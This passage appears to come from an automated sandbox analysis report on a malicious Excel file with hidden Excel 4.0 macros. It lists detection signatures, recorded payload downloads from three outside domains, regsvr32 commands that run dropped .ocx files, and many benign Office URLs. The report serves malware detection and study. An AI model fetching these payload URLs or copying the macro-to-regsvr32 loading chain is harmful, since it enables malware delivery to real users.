      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://substrate.office.com/search/api/v2/init
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://tasks.office.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://web.microsoftstream.com/video/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://webshell.suite.office.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://wus2.contentsync.
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://wus2.pagecontentsync.
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://www.odwebp.svc.ms
      Source: unknownDNS traffic detected: queries for: klevvrtech.com
      Source: global trafficHTTP traffic detected: GET /zxywJAC24KJ/ji.html HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: klevvrtech.comConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /OYcMRJbL/ji.html HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: srkcampus.orgConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /fbmKk6n48G/ji.html HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rstebet.co.idConnection: Keep-Alive
      Source: unknownHTTPS traffic detected: 192.185.79.2:443 -> 192.168.2.5:49737 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 192.185.129.7:443 -> 192.168.2.5:49755 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 103.247.11.218:443 -> 192.168.2.5:49757 version: TLS 1.2

      System Summary:

      barindex
      Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
      Source: Screenshot number: 12Screenshot OCR: Enable Editing o 18 19 20 (D PROTECTED VIEW Be careful - files from the Internet can contain viru
      Source: Screenshot number: 12Screenshot OCR: Enable Content 25 26 (9 SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 30
      Source: Document image extraction number: 0Screenshot OCR: Enable Editing 0 PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless yo
      Source: Document image extraction number: 0Screenshot OCR: Enable Content OSECURITY WARNING Macros have been disabled. Enable Content om If you are using a m
      Source: Document image extraction number: 1Screenshot OCR: Enable Editing (D PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless y
      Source: Document image extraction number: 1Screenshot OCR: Enable Content OSECURITY WARNING Macros have been disabled. Enable Content om If you are using a m
      Source: survey-1384723731.xls, type: SAMPLEMatched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
      Source: C:\Users\user\Desktop\survey-1384723731.xls, type: DROPPEDMatched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
      Source: survey-1384723731.xlsMacro extractor: Sheet name: Buk1
      Source: survey-1384723731.xlsMacro extractor: Sheet name: Buk4
      Source: survey-1384723731.xlsMacro extractor: Sheet name: Buk6
      Source: survey-1384723731.xlsMacro extractor: Sheet name: Buk7
      Source: survey-1384723731.xlsMacro extractor: Sheet name: Buk2
      Source: survey-1384723731.xlsMacro extractor: Sheet name: Buk3
      Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dll
      Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dll
      Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dll
      Source: survey-1384723731.xlsOLE indicator, VBA macros: true
      Source: survey-1384723731.xls.0.drOLE indicator, VBA macros: true
      Source: DB32F834.tmp.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
      Source: survey-1384723731.xlsVirustotal: Detection: 39%
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA
      Source: survey-1384723731.xlsOLE indicator, Workbook stream: true
      Source: survey-1384723731.xls.0.drOLE indicator, Workbook stream: true
      Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestb.ocx
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestc.ocx
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestb.ocx
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestc.ocx
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCacheJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\{F2B8DDDC-080A-4FFE-938B-E27DB7EDBA9E} - OProcSessId.datJump to behavior
      Source: classification engineClassification label: mal72.expl.winXLS@7/5@3/3
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEAutomated click: OK
      Source: C:\Windows\SysWOW64\regsvr32.exeAutomated click: OK
      Source: C:\Windows\SysWOW64\regsvr32.exeAutomated click: OK
      Source: C:\Windows\SysWOW64\regsvr32.exeAutomated click: OK
      Source: Window RecorderWindow detected: More than 3 window changes detected
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dll
      Source: DB32F834.tmp.0.drInitial sample: OLE indicators vbamacros = False
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX

      HIPS / PFW / Operating System Protection Evasion:

      barindex
      Yara detected hidden Macro 4.0 in ExcelShow sources
      Source: Yara matchFile source: survey-1384723731.xls, type: SAMPLE
      Source: Yara matchFile source: C:\Users\user\Desktop\survey-1384723731.xls, type: DROPPED

      Mitre Att&ck Matrix

      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
      Valid AccountsScripting1DLL Side-Loading1Process Injection1Masquerading1OS Credential DumpingFile and Directory Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
      Default AccountsExploitation for Client Execution23Boot or Logon Initialization ScriptsDLL Side-Loading1Disable or Modify Tools1LSASS MemorySystem Information Discovery2Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothNon-Application Layer Protocol2Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
      Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Process Injection1Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationApplication Layer Protocol13Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
      Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Scripting1NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled TransferIngress Tool Transfer1SIM Card SwapCarrier Billing Fraud
      Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptDLL Side-Loading1LSA SecretsRemote System DiscoverySSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.

      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      survey-1384723731.xls40%VirustotalBrowse

      Dropped Files

      No Antivirus matches

      Unpacked PE Files

      No Antivirus matches

      Domains

      No Antivirus matches

      URLs

      SourceDetectionScannerLabelLink
      https://roaming.edog.0%URL Reputationsafe
      https://cdn.entity.0%URL Reputationsafe
      https://powerlift.acompli.net0%URL Reputationsafe
      https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
      https://cortana.ai0%URL Reputationsafe
      https://api.aadrm.com/0%URL Reputationsafe
      https://ofcrecsvcapi-int.azurewebsites.net/0%URL Reputationsafe
      https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h0%Avira URL Cloudsafe
      https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
      https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
      https://officeci.azurewebsites.net/api/0%URL Reputationsafe
      https://store.office.cn/addinstemplate0%URL Reputationsafe
      https://api.aadrm.com0%URL Reputationsafe
      https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
      https://www.odwebp.svc.ms0%URL Reputationsafe
      https://api.addins.store.officeppe.com/addinstemplate0%URL Reputationsafe
      https://dataservice.o365filtering.com/0%URL Reputationsafe
      https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
      https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
      https://ncus.contentsync.0%URL Reputationsafe
      https://srkcampus.org/OYcMRJbL/ji.html0%Avira URL Cloudsafe
      https://apis.live.net/v5.0/0%URL Reputationsafe
      https://wus2.contentsync.0%URL Reputationsafe
      https://asgsmsproxyapi.azurewebsites.net/0%URL Reputationsafe
      https://klevvrtech.com/zxywJAC24KJ/ji.html0%Avira URL Cloudsafe
      https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
      https://ncus.pagecontentsync.0%URL Reputationsafe
      https://skyapi.live.net/Activity/0%URL Reputationsafe
      https://dataservice.o365filtering.com0%URL Reputationsafe
      https://api.cortana.ai0%URL Reputationsafe

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      klevvrtech.com
      192.185.79.2
      truefalse
        unknown
        rstebet.co.id
        103.247.11.218
        truefalse
          unknown
          srkcampus.org
          192.185.129.7
          truefalse
            unknown

            Contacted URLs

            NameMaliciousAntivirus DetectionReputation
            https://srkcampus.org/OYcMRJbL/ji.htmlfalse
            • Avira URL Cloud: safe
            unknown
            https://klevvrtech.com/zxywJAC24KJ/ji.htmlfalse
            • Avira URL Cloud: safe
            unknown

            URLs from Memory and Binaries

            NameSourceMaliciousAntivirus DetectionReputation
            https://api.diagnosticssdf.office.comCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
              high
              https://login.microsoftonline.com/CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                high
                https://shell.suite.office.com:1443CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                  high
                  https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorizeCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                    high
                    https://autodiscover-s.outlook.com/CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                      high
                      https://roaming.edog.CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                      • URL Reputation: safe
                      unknown
                      https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=FlickrCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                        high
                        https://cdn.entity.CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                        • URL Reputation: safe
                        unknown
                        https://api.addins.omex.office.net/appinfo/queryCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                          high
                          https://clients.config.office.net/user/v1.0/tenantassociationkeyCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                            high
                            https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                              high
                              https://powerlift.acompli.netCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                              • URL Reputation: safe
                              unknown
                              https://rpsticket.partnerservices.getmicrosoftkey.comCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                              • URL Reputation: safe
                              unknown
                              https://lookup.onenote.com/lookup/geolocation/v1CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                high
                                https://cortana.aiCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                • URL Reputation: safe
                                unknown
                                https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                  high
                                  https://cloudfiles.onenote.com/upload.aspxCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                    high
                                    https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFileCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                      high
                                      https://entitlement.diagnosticssdf.office.comCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                        high
                                        https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicyCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                          high
                                          https://api.aadrm.com/CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                          • URL Reputation: safe
                                          unknown
                                          https://ofcrecsvcapi-int.azurewebsites.net/CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                          • URL Reputation: safe
                                          unknown
                                          https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPoliciesCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                            high
                                            https://api.microsoftstream.com/api/CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                              high
                                              https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=ImmersiveCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                high
                                                https://cr.office.comCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                  high
                                                  https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;hCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                  • Avira URL Cloud: safe
                                                  low
                                                  https://portal.office.com/account/?ref=ClientMeControlCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                    high
                                                    https://graph.ppe.windows.netCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                      high
                                                      https://res.getmicrosoftkey.com/api/redemptioneventsCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                      • URL Reputation: safe
                                                      unknown
                                                      https://powerlift-frontdesk.acompli.netCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                      • URL Reputation: safe
                                                      unknown
                                                      https://tasks.office.comCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                        high
                                                        https://officeci.azurewebsites.net/api/CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                        • URL Reputation: safe
                                                        unknown
                                                        https://sr.outlook.office.net/ws/speech/recognize/assistant/workCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                          high
                                                          https://store.office.cn/addinstemplateCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                          • URL Reputation: safe
                                                          unknown
                                                          https://api.aadrm.comCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                          • URL Reputation: safe
                                                          unknown
                                                          https://outlook.office.com/autosuggest/api/v1/init?cvid=CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                            high
                                                            https://globaldisco.crm.dynamics.comCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                              high
                                                              https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                high
                                                                https://dev0-api.acompli.net/autodetectCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                • URL Reputation: safe
                                                                unknown
                                                                https://www.odwebp.svc.msCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                • URL Reputation: safe
                                                                unknown
                                                                https://api.powerbi.com/v1.0/myorg/groupsCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                  high
                                                                  https://web.microsoftstream.com/video/CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                    high
                                                                    https://api.addins.store.officeppe.com/addinstemplateCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                    • URL Reputation: safe
                                                                    unknown
                                                                    https://graph.windows.netCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                      high
                                                                      https://dataservice.o365filtering.com/CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                      • URL Reputation: safe
                                                                      unknown
                                                                      https://officesetup.getmicrosoftkey.comCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                      • URL Reputation: safe
                                                                      unknown
                                                                      https://analysis.windows.net/powerbi/apiCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                        high
                                                                        https://prod-global-autodetect.acompli.net/autodetectCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                        • URL Reputation: safe
                                                                        unknown
                                                                        https://outlook.office365.com/autodiscover/autodiscover.jsonCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                          high
                                                                          https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-iosCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                            high
                                                                            https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                              high
                                                                              https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.jsonCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                high
                                                                                https://ncus.contentsync.CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                • URL Reputation: safe
                                                                                unknown
                                                                                https://onedrive.live.com/about/download/?windows10SyncClientInstalled=falseCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                  high
                                                                                  https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                    high
                                                                                    http://weather.service.msn.com/data.aspxCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                      high
                                                                                      https://apis.live.net/v5.0/CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                      • URL Reputation: safe
                                                                                      unknown
                                                                                      https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asksCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                        high
                                                                                        https://word.uservoice.com/forums/304948-word-for-ipad-iphone-iosCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                          high
                                                                                          https://autodiscover-s.outlook.com/autodiscover/autodiscover.xmlCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                            high
                                                                                            https://management.azure.comCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                              high
                                                                                              https://outlook.office365.comCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                high
                                                                                                https://wus2.contentsync.CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                • URL Reputation: safe
                                                                                                unknown
                                                                                                https://incidents.diagnostics.office.comCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                  high
                                                                                                  https://clients.config.office.net/user/v1.0/iosCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                    high
                                                                                                    https://insertmedia.bing.office.net/odc/insertmediaCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                      high
                                                                                                      https://o365auditrealtimeingestion.manage.office.comCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                        high
                                                                                                        https://outlook.office365.com/api/v1.0/me/ActivitiesCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                          high
                                                                                                          https://api.office.netCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                            high
                                                                                                            https://incidents.diagnosticssdf.office.comCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                              high
                                                                                                              https://asgsmsproxyapi.azurewebsites.net/CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                              • URL Reputation: safe
                                                                                                              unknown
                                                                                                              https://clients.config.office.net/user/v1.0/android/policiesCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                high
                                                                                                                https://entitlement.diagnostics.office.comCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                  high
                                                                                                                  https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.jsonCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                    high
                                                                                                                    https://substrate.office.com/search/api/v2/initCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                      high
                                                                                                                      https://outlook.office.com/CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                        high
                                                                                                                        https://storage.live.com/clientlogs/uploadlocationCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                          high
                                                                                                                          https://outlook.office365.com/CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                            high
                                                                                                                            https://webshell.suite.office.comCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                              high
                                                                                                                              https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDriveCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                                high
                                                                                                                                https://substrate.office.com/search/api/v1/SearchHistoryCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                                  high
                                                                                                                                  https://management.azure.com/CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                                    high
                                                                                                                                    https://login.windows.net/common/oauth2/authorizeCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                                      high
                                                                                                                                      https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFileCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                                      • URL Reputation: safe
                                                                                                                                      unknown
                                                                                                                                      https://graph.windows.net/CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                                        high
